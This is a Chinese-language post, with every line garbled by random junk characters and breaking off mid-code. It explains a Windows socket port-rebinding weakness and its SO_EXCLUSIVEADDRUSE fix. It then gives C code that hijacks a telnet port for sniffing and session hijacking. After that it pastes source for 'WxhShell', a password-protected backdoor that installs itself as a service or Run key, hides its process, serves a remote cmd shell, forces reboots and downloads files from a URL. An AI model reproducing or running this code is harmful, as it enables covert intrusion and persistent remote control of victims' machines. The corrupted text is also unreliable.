在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
<f
l-P s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
RHV&m()Q W9!EjXg saddr.sin_family = AF_INET;
BE54^U KL2 #Bm_ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
J/M_cO*U QEl:>HG bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
,S|v>i,@ QLq^[>n 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
%UquF F_m[EB 这意味着什么?意味着可以进行如下的攻击:
+?xW%omy &ukYTDM 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
oW:p6d xLfx/&2 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
t)Iu\bP 4I"p>FIkY 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
eq0&8/= kPN:m ow 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
\tLfB[S.5 s~ZLnEb 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
|1sl>X, JXG%Cx!2} 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
%P!6cyQS y{>d&M| 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
>t-9yO1XQq _7j-y 9V #include
t'msgC6=>u #include
3I87|5V,Z #include
MfJ;":]O! #include
Zt3"4d4 DWORD WINAPI ClientThread(LPVOID lpParam);
3P{
d~2 int main()
Pr
|u_^ {
Hw 7 WORD wVersionRequested;
u:~2:3B DWORD ret;
|7$Fr[2d WSADATA wsaData;
{+CW_ce BOOL val;
ZWZRG-:&H SOCKADDR_IN saddr;
Z`L-UQJ. SOCKADDR_IN scaddr;
5)g6yV' int err;
q*`1<9{H SOCKET s;
,{"%-U#z SOCKET sc;
)%8 ;C]G; int caddsize;
?`wO
\>y HANDLE mt;
,BGaJ|k DWORD tid;
cg16| wVersionRequested = MAKEWORD( 2, 2 );
c&!EsMsU err = WSAStartup( wVersionRequested, &wsaData );
<m;idfn if ( err != 0 ) {
jNKu5"HB printf("error!WSAStartup failed!\n");
PL;PId<9w return -1;
HYd&.*41rE }
JQ-O=8] saddr.sin_family = AF_INET;
j<H5i} >LvQ&fAo //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
P?- #d\qi ={HYwP; saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
nnP]x [ saddr.sin_port = htons(23);
uBdS}U if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{s ]yP_ {
z?ck*9SZX printf("error!socket failed!\n");
1y\-Iz^ return -1;
>_R,^iH" }
|=R@nn
val = TRUE;
jc% //SO_REUSEADDR选项就是可以实现端口重绑定的
\6]Uj+ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
-&L(0?*qo {
8GGC)2 printf("error!setsockopt failed!\n");
pDw^~5P return -1;
eouxNw}F1 }
0rnne
L //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
w(>mP9Cb //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
jv8diQ. //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Zo=w8Hr <=1nr@L if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
#0;H'GO?c {
w.AF7.X`1 ret=GetLastError();
puv/+!q printf("error!bind failed!\n");
2u B66i return -1;
u 2)#Ml }
m%?+;V listen(s,2);
A.f!SYV6 while(1)
|.asg {
WF'Di4
caddsize = sizeof(scaddr);
;v}f7v ' //接受连接请求
|sG@Ku7~4 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
#kmZS/" if(sc!=INVALID_SOCKET)
>~+'V.CNW {
h;s~I/e( mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
h'QEwW if(mt==NULL)
[xm{4Ba2X {
,McwPHEMB printf("Thread Creat Failed!\n");
-W6r.E$mC break;
Ym]Dlz,o }
4u!<3-3Zy }
{? a@UUvC CloseHandle(mt);
f@G3,u!]i }
])v,zp"u closesocket(s);
?PpGBm2f* WSACleanup();
,JLY
oE+ return 0;
FQ"
;v" }
E0SP DWORD WINAPI ClientThread(LPVOID lpParam)
nQ\)~MKd {
_0razNk SOCKET ss = (SOCKET)lpParam;
G$P|F6
SOCKET sc;
&5x
]9 unsigned char buf[4096];
-5&|"YYjr{ SOCKADDR_IN saddr;
oo+nqc`,O long num;
)P)Zds@F DWORD val;
|aaoi4OJ DWORD ret;
\!]Zq#*kH //如果是隐藏端口应用的话,可以在此处加一些判断
c:$W5j('Z //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
C>A*L4c]F saddr.sin_family = AF_INET;
mbZS J saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
$L@os2 saddr.sin_port = htons(23);
bOY<C%;C
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
7aV(tMzd {
/q3]AVV printf("error!socket failed!\n");
t V]BcDp return -1;
a4B#?p }
nMBKZ val = 100;
qaj~q(j~C if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
zG[GyyAQ {
uyp|Xh, ret = GetLastError();
K~U5jpc return -1;
-0tHc=\u( }
Fq-AvU if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
@@])B# {
jRhOo%p ret = GetLastError();
@Yl&Jg2l' return -1;
m\XgvpvrP }
*h H\H
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
NI1jJfH|l {
%GY U$aA printf("error!socket connect failed!\n");
YhZmyYamE closesocket(sc);
IpRdGT02 closesocket(ss);
`Tt;)D return -1;
4dd] Ju }
"< c,I=A while(1)
NJe^5>4` {
C
`>1x`n //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Hp@nxtKxW //如果是嗅探内容的话,可以再此处进行内容分析和记录
1&wI*4 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
` !JcQ'u num = recv(ss,buf,4096,0);
|$)+h\h if(num>0)
{e1akg. send(sc,buf,num,0);
2<
"- else if(num==0)
>@mvb@4* break;
$4&%<'l3I num = recv(sc,buf,4096,0);
8,l~e8 & if(num>0)
gaIN]9wLm send(ss,buf,num,0);
$N[R99*x8 else if(num==0)
.[qm>j, break;
ISbhC!59 }
"E6*.EtTN# closesocket(ss);
Y
>83G`*}b closesocket(sc);
q0>@!1Wb return 0 ;
';\v:dP }
Cd"cU~HAB { +$zgg ^`MGlI} ==========================================================
~h<<-c Ow@}6&1 下边附上一个代码,,WXhSHELL
O\"k[V?.V iz0GL&< ==========================================================
t@Bl3Nt{ J'=iEI #include "stdafx.h"
3 cb$g ?q%&" #include <stdio.h>
3Aqw)B'"_ #include <string.h>
He}uE0^ #include <windows.h>
1c%ee$Q #include <winsock2.h>
9r efv #include <winsvc.h>
6N<v&7cSB #include <urlmon.h>
FS1>
J%P ma%PVz`I;9 #pragma comment (lib, "Ws2_32.lib")
4^jIV!V #pragma comment (lib, "urlmon.lib")
a
St 0<n*8t?A- #define MAX_USER 100 // 最大客户端连接数
a#k=!
W #define BUF_SOCK 200 // sock buffer
d`g)(* #define KEY_BUFF 255 // 输入 buffer
dYn<L/# .C=I~Z #define REBOOT 0 // 重启
A'=,q
#define SHUTDOWN 1 // 关机
{j!jm5 43HZ)3!me #define DEF_PORT 5000 // 监听端口
b;K];o-/f ayR;|S #define REG_LEN 16 // 注册表键长度
_^(}6o #define SVC_LEN 80 // NT服务名长度
XP|qY1 W7
.Y`u[ // 从dll定义API
.GM}3(1fX` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
P>wDr`* typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
g:yUZ;U typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
4uV,$/ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
z/Kjz$l! v1m'p:7uGB // wxhshell配置信息
GcpAj9 struct WSCFG {
T]fBVA int ws_port; // 监听端口
Ug1[pONk char ws_passstr[REG_LEN]; // 口令
?L'4*S] int ws_autoins; // 安装标记, 1=yes 0=no
D rMG{Yiu char ws_regname[REG_LEN]; // 注册表键名
\LI 2=J* char ws_svcname[REG_LEN]; // 服务名
1vG]-T3VC char ws_svcdisp[SVC_LEN]; // 服务显示名
p`CVq `k char ws_svcdesc[SVC_LEN]; // 服务描述信息
"4,Zox{^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
jb5nL`(j$ int ws_downexe; // 下载执行标记, 1=yes 0=no
L(
B(x>w char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
M*xt9'Yd char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Jm5&6= .Y^UPxf@ };
,;)1|-^nu M.loG4r! // default Wxhshell configuration
-j<g}IG struct WSCFG wscfg={DEF_PORT,
G9_M~N%a "xuhuanlingzhe",
@|1/yQgi 1,
ENEn Hu^ "Wxhshell",
xwm-)~L4T "Wxhshell",
)}KQtkU8: "WxhShell Service",
NETji:d "Wrsky Windows CmdShell Service",
Bv)4YU "Please Input Your Password: ",
82q_"y>6 1,
Mb2rHUr "
http://www.wrsky.com/wxhshell.exe",
vA(')"DDT "Wxhshell.exe"
j+E[[
};
3o>.Z; =)p/p6 // 消息定义模块
c[DC char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
,Z"l3~0\ char *msg_ws_prompt="\n\r? for help\n\r#>";
Ijs"KAW
? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
[)ybPIv]
char *msg_ws_ext="\n\rExit.";
R8uiLZd char *msg_ws_end="\n\rQuit.";
>UQ`@GdafR char *msg_ws_boot="\n\rReboot...";
BUozpqN} char *msg_ws_poff="\n\rShutdown...";
2qY+-yOEt char *msg_ws_down="\n\rSave to ";
A)X 'We g3i !> char *msg_ws_err="\n\rErr!";
9m:qQ1[\ char *msg_ws_ok="\n\rOK!";
ZV=)`E`I| 09RJc3XE9 char ExeFile[MAX_PATH];
z
[qO5z~I int nUser = 0;
j(8I+|| HANDLE handles[MAX_USER];
O0lQ1<= int OsIsNt;
u}[Z=V
hgz7dF SERVICE_STATUS serviceStatus;
in^Rf`
" SERVICE_STATUS_HANDLE hServiceStatusHandle;
otsINAizgS (:p&[HNuN // 函数声明
?2g\y@ int Install(void);
I&}Md73
int Uninstall(void);
|VC/(A int DownloadFile(char *sURL, SOCKET wsh);
mST/u>' int Boot(int flag);
mh4NZ @; void HideProc(void);
Tk'YpL#U int GetOsVer(void);
*d,u)l :S int Wxhshell(SOCKET wsl);
6^L4wd7) void TalkWithClient(void *cs);
U 9?!|h;7 int CmdShell(SOCKET sock);
tXocGM{6C int StartFromService(void);
O1nfz> L` int StartWxhshell(LPSTR lpCmdLine);
8: KlU(J #eqy!QdePf VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
GlDl0P,*r VOID WINAPI NTServiceHandler( DWORD fdwControl );
$=j}JX}z ~6nq$( # // 数据结构和表定义
!V=s^8nj SERVICE_TABLE_ENTRY DispatchTable[] =
p& > z=Z* {
CbJ ]}Z {wscfg.ws_svcname, NTServiceMain},
F1@gYNbI, {NULL, NULL}
& >AXB6 };
]JeA29 'w+T vOB // 自我安装
aF:_ 1.LC int Install(void)
.1yp}&e# {
r lalr+Rf char svExeFile[MAX_PATH];
( _ZOUMe HKEY key;
+fd^$Qd%K strcpy(svExeFile,ExeFile);
io]e]m% +_8*;k@F' // 如果是win9x系统,修改注册表设为自启动
FuNc#n> if(!OsIsNt) {
0R,?$qM\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
C?bq7kD:H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
"8Ud&o RegCloseKey(key);
CQo<}}-o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
nlsQf3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ta*B#2D> RegCloseKey(key);
Uk u~"OGC return 0;
\c&%F=1+* }
P9/5M4]tt }
qV$\.T>x }
R=IZFwr else {
'IweN C@` eYi // 如果是NT以上系统,安装为系统服务
r00 fvZyK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
-{i;!XE$SR if (schSCManager!=0)
R 2uo ZA, {
ocCC63J SC_HANDLE schService = CreateService
I3QK~ V*j) (
/jQW4eW0 schSCManager,
Kb~s'cTxIO wscfg.ws_svcname,
@Y'BqDFlZ wscfg.ws_svcdisp,
Gb6t`dSzz SERVICE_ALL_ACCESS,
sO~:e?F SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
`<Xq@\H SERVICE_AUTO_START,
/sf:.TpVh SERVICE_ERROR_NORMAL,
j4L )D svExeFile,
r5XG$:$8\ NULL,
vgSs]g NULL,
k=2]@K$% NULL,
#EiOC.A= NULL,
.'C$w1[w NULL
4oT1<n`r+ );
{O,D9 < if (schService!=0)
$j*j {}K {
.
KJEA# CloseServiceHandle(schService);
Y,OSQBgk CloseServiceHandle(schSCManager);
s5T$>+
a strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
HDUtLUd strcat(svExeFile,wscfg.ws_svcname);
.L[WvAo if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
[#>ji+%= RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
*R.Q!Lv+ RegCloseKey(key);
>cEc##:5 return 0;
"$KU+? }
ps1ndGp~# }
W-:gU!{*# CloseServiceHandle(schSCManager);
rr fL[ }
\xi
wp. }
@O#4duM4Qz S?Q4u!FC return 1;
8Czy<}S<G }
TSXa#SKp k;PQVF&E // 自我卸载
mAh0xgm int Uninstall(void)
YHN@?}T() {
w4U]lg<}E HKEY key;
dg/OjiD[P [$)C(1zY if(!OsIsNt) {
EotZ$O= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9E^IEwq' RegDeleteValue(key,wscfg.ws_regname);
2'_xg~ RegCloseKey(key);
8FyJo.vr( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!={Z]J RegDeleteValue(key,wscfg.ws_regname);
Z.+-MN WV RegCloseKey(key);
[uP_F,Y/ return 0;
Mw2?U>h1 }
M7BCBA }
0Qvbc}KP8 }
|i'V\"
hW else {
E+Z//)1Z Jr
m<ut SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
O1IR+"0 if (schSCManager!=0)
I`kaAOe {
Reca5r1O SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
VH7VJ [ if (schService!=0)
|>a sGP {
$6w[h7 if(DeleteService(schService)!=0) {
mh;<lW\K/Z CloseServiceHandle(schService);
P]:r'^Yn CloseServiceHandle(schSCManager);
)K.~A&y@ return 0;
s@sRdoTdF }
r=6-kC!T9 CloseServiceHandle(schService);
>oi`%V }
cmF&1o3_ CloseServiceHandle(schSCManager);
22S4q`j }
}yZ9pTB.?E }
8B;wn<O :5hKE(3Q return 1;
tr0P;}= }
rlr)n\R# nsFOtOdd // 从指定url下载文件
;n_ |t/= int DownloadFile(char *sURL, SOCKET wsh)
:GXiA {
f.acH]p HRESULT hr;
LcS\#p#s] char seps[]= "/";
d:*,HzG char *token;
(@*[^@ipV char *file;
-L@4da[]i char myURL[MAX_PATH];
S4uX utd char myFILE[MAX_PATH];
)*@n G$i99 ,K=\Y9l3 strcpy(myURL,sURL);
X@KF}x's token=strtok(myURL,seps);
. (G9mZFV while(token!=NULL)
x`K<z
J {
;Ak<O[ file=token;
h^R EBPe token=strtok(NULL,seps);
Jm&7&si7 }
+-YMW;5 U_ n1QU GetCurrentDirectory(MAX_PATH,myFILE);
gSQq strcat(myFILE, "\\");
N>##}i strcat(myFILE, file);
_7es_w}R send(wsh,myFILE,strlen(myFILE),0);
|}s)Wo send(wsh,"...",3,0);
?g
gl8bzA hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
a@:(L"Or if(hr==S_OK)
FJo?~ return 0;
5v6 x else
"F?p\I)( return 1;
g
bDre~| ^\=<geEj }
xl [3*K D^ZG-WR // 系统电源模块
dbM~41C6 int Boot(int flag)
^R- -&{I {
5{nERKaPf HANDLE hToken;
-|;{/ s5 TOKEN_PRIVILEGES tkp;
n{sF'n</ AyHhq8Y if(OsIsNt) {
x=>B 6o-f OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
q6DuLFatc* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
\]RPxM:_> tkp.PrivilegeCount = 1;
3z7SK Gy tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
(;DnL|"'8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
M )4-eo if(flag==REBOOT) {
U-~cVk+LI if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
8R?X$=$]!. return 0;
O[%"zO"S }
q.sErr[zc else {
=rSJ6'2(" if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
u5D@,wSNz return 0;
*IBT!@*Q& }
,:6gp3 }
Y%<y`]I else {
4 mj\wBp if(flag==REBOOT) {
?VCdT`6= if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
%siBCjvo= return 0;
(gW#T\Eln }
Gy}WZ9{ else {
^h wF= if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
~,#zdm1r@ return 0;
]q!,onJ }
dCq-&3?t }
a)L\+$@* !O|d,)$q return 1;
."`mh&+` }
`^FAD 9*fA:*T // win9x进程隐藏模块
{Hc [H- void HideProc(void)
scr`] tD {
X}j WNN <'(O0 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
4pU|BL\j if ( hKernel != NULL )
dKk\"6 o
{
Eo
h4#fZ\N pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Buxn!s ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
8ckcTNPu FreeLibrary(hKernel);
p7SX,kpt> }
Pv-El+e!
LYTx8 return;
qH1k }
|[6jf!F ]IF
QD // 获取操作系统版本
[K 5#4k int GetOsVer(void)
^)i5.o\ {
w_gFN%8 OSVERSIONINFO winfo;
i^<P@ |q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
YgiLfz iT GetVersionEx(&winfo);
JXT%@w>I if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
i sK_t* return 1;
<n#phU Q else
z2.9l?"rfQ return 0;
K[,d9j`^ }
2YW|/o4 *8I+D>x // 客户端句柄模块
DHI%R< int Wxhshell(SOCKET wsl)
;FQ<4PR$ {
!
.q,m>?+ SOCKET wsh;
aLo^f=S struct sockaddr_in client;
^-wdIu~p? DWORD myID;
Y5dt/8Jo 6H]rO3[8 while(nUser<MAX_USER)
/
5\gP//9K {
i(Xz3L#( int nSize=sizeof(client);
l_q=@y wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
:m&cm%W]ts if(wsh==INVALID_SOCKET) return 1;
r
9~Wh
$ "e-RV
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Q
*]d[ if(handles[nUser]==0)
_N @h closesocket(wsh);
q
HU}EEv else
}CM</ nUser++;
/%9Ge AAs }
HL`=zB% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
_o+z#Fn z LvPcH return 0;
7u=R5 }
~K2.T7= I$y6N"| // 关闭 socket
,N1I\f void CloseIt(SOCKET wsh)
W5SCm(QS5 {
K*/X{3 J; closesocket(wsh);
rlpbLOG` nUser--;
nOQvBc ExitThread(0);
ZzO^IZKlC }
!H^e$BA p"dK,A5#) // 客户端请求句柄
*NjjFk=R void TalkWithClient(void *cs)
svWQk9d {
>qL-a*w:a tb1w 6jaU SOCKET wsh=(SOCKET)cs;
0|chRX char pwd[SVC_LEN];
v1`*}.# char cmd[KEY_BUFF];
s[n*fV']A char chr[1];
bm\Zp int i,j;
8WP|cF] P$H9 while (nUser < MAX_USER) {
;%<R>gDWv T!YfCw.HZ if(wscfg.ws_passstr) {
Nu[0X if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
N ]|P||fC //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
LDgGVl //ZeroMemory(pwd,KEY_BUFF);
(WuJ9 i=0;
K9=f`JI9 while(i<SVC_LEN) {
Z[GeU>?P K?]c // 设置超时
*1b1phh0/ fd_set FdRead;
d8Sr,t+ struct timeval TimeOut;
;56mkP FD_ZERO(&FdRead);
cKe{ ]a FD_SET(wsh,&FdRead);
%4I13|<A` TimeOut.tv_sec=8;
RA3!k&8?# TimeOut.tv_usec=0;
"V>p int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
P+gYLX8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
,xOOR iZ;y( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
"8*5!anu- pwd
=chr[0]; UC*\3:>'n
if(chr[0]==0xd || chr[0]==0xa) { bPMkBm
pwd=0; \Pt_5.bTs[
break; ;vp[J&=
} S&z8-D=8k
i++; ykBq?Vr
} +2Wijrn
b75en{aDi*
// 如果是非法用户,关闭 socket )ad6>Y
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8I)}c1j`v
} 4&}dA^F
/=+Bc=<lZ
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <wj}y0(
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IRY/0v
=2R0 g2n
while(1) { gK",D^6T*Y
ODyKS;
ZeroMemory(cmd,KEY_BUFF); #4wia%}u
1Farix1YDq
// 自动支持客户端 telnet标准 Q)%a2s;
j=0; O]-s(8Oo3
while(j<KEY_BUFF) { tXW7G@
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =BVBCh
cmd[j]=chr[0]; *]+5T-R% $
if(chr[0]==0xa || chr[0]==0xd) { 2y#[uSqB
cmd[j]=0; tJ9-8ZT*
break; )Bpvi4O
} z z2'h>
j++; ZK$<"z6{
} QvvH/u
RDsBO4RG
// 下载文件 K>S:Z
if(strstr(cmd,"http://")) { XyrQJ}WR|
send(wsh,msg_ws_down,strlen(msg_ws_down),0); bY!1t}ALh
if(DownloadFile(cmd,wsh)) Fh
U* mAX)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uk<2XGj
else -0:Equ?pz
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #J|DW C!#d
} ]^BgSC
else { 3Ued>8Gv
G{ 4lgkyy
switch(cmd[0]) { :~4M9
3R)_'!R[B
// 帮助 NjP7?nXSx
case '?': { r"_SL!,^
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <
+X,oxg
break; Ew>lk9La(
} 5sI9GC
// 安装 kcio]@#
case 'i': { a1 .+L
if(Install()) T)tf!v3v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s8|Fe_
else 6:3F,!J!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^<w3i?KPW
break; .XPPd?R
} W'}^m*F
// 卸载 &09g0K66
case 'r': { ,Uu#41ZOKL
if(Uninstall()) st-I7K\v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B0$.oavC
else SJ).L.Cm6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (U^f0wJg
break; mt*/%>@7R
} *28:|blbL
// 显示 wxhshell 所在路径 \Ws$@J-M
case 'p': { JsV-:J
char svExeFile[MAX_PATH]; |nT+W|0U
strcpy(svExeFile,"\n\r"); dA=T+u
strcat(svExeFile,ExeFile); SeIL
send(wsh,svExeFile,strlen(svExeFile),0); .qD=u1{p9
break; Dio9'&DtC
} 5%;=(Oig
// 重启 b2G1@f.U
case 'b': { *!&,)''
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ],xvhfZ"dn
if(Boot(REBOOT)) IXof-I%8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ql(~3/kA_
else { WdJJt2'
closesocket(wsh); C[Nh>V7=
ExitThread(0); <jIuVX
} 1}"Prx-
break; 4StoEgFS
} meArS*d
// 关机 MoMxKmI
case 'd': { ;I!Vba
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~Zo;LSI
if(Boot(SHUTDOWN)) 84f^==Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dj5@9X
else { )POU58$
closesocket(wsh); l } WvO]
ExitThread(0); zp:EssO=Q
} ;kR+jC(
break; %%qg<iO_
} ak$D1#hY
// 获取shell N.dcQQ_iS
case 's': { `=19iAp.
CmdShell(wsh); 33OkYC%e
closesocket(wsh); %hN7K
ExitThread(0); l?:S)[:
break; =H/ 5
} Z:.*fs5
// 退出 J>Bc-%.Q
case 'x': { oN&U@N/>aU
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |)+45e
CloseIt(wsh); z4wG]]Kh*
break; :YM1p&|fS
} )W |_f
// 离开 wH]Y1 m
case 'q': { .RN2os{
send(wsh,msg_ws_end,strlen(msg_ws_end),0); [1g
closesocket(wsh); '.IR|~ Y
WSACleanup(); m*'87a9q0
exit(1); j71RlS73
break; =PIarUJ
} |C}= 1
} ie}?}s
} OpLUmn
QS%t:,0lp
// 提示信息 XU6SYC"t%~
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =&#t("
} F&$~]R=&
} {;+9A}e
BjV;/<bt
return; rnRWL4
} W4$F\y
,"?xy-6
// shell模块句柄 oD=+
int CmdShell(SOCKET sock) cS RmC
{ Jp-6]uW
STARTUPINFO si; d /lV+yZ
ZeroMemory(&si,sizeof(si)); @o>3
Bv.
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _bSn YhS
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E^? 3P'%^
PROCESS_INFORMATION ProcessInfo; ="P&!lu
char cmdline[]="cmd"; MR/gLm(8(
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nTCwLnX(O
return 0; ?JMy
} I\@`AU
@6%o0p9zz
// 自身启动模式 {ZKXT8'
int StartFromService(void) C=&;4In
{ !YIW8SP)
typedef struct 6"/4@?
{ v)<|@TD)
DWORD ExitStatus; _:HQ4s@
DWORD PebBaseAddress; g)nT]+&
DWORD AffinityMask; 0gH;y+\=*
DWORD BasePriority; .~fov8
ULONG UniqueProcessId; xM**n3SZ`
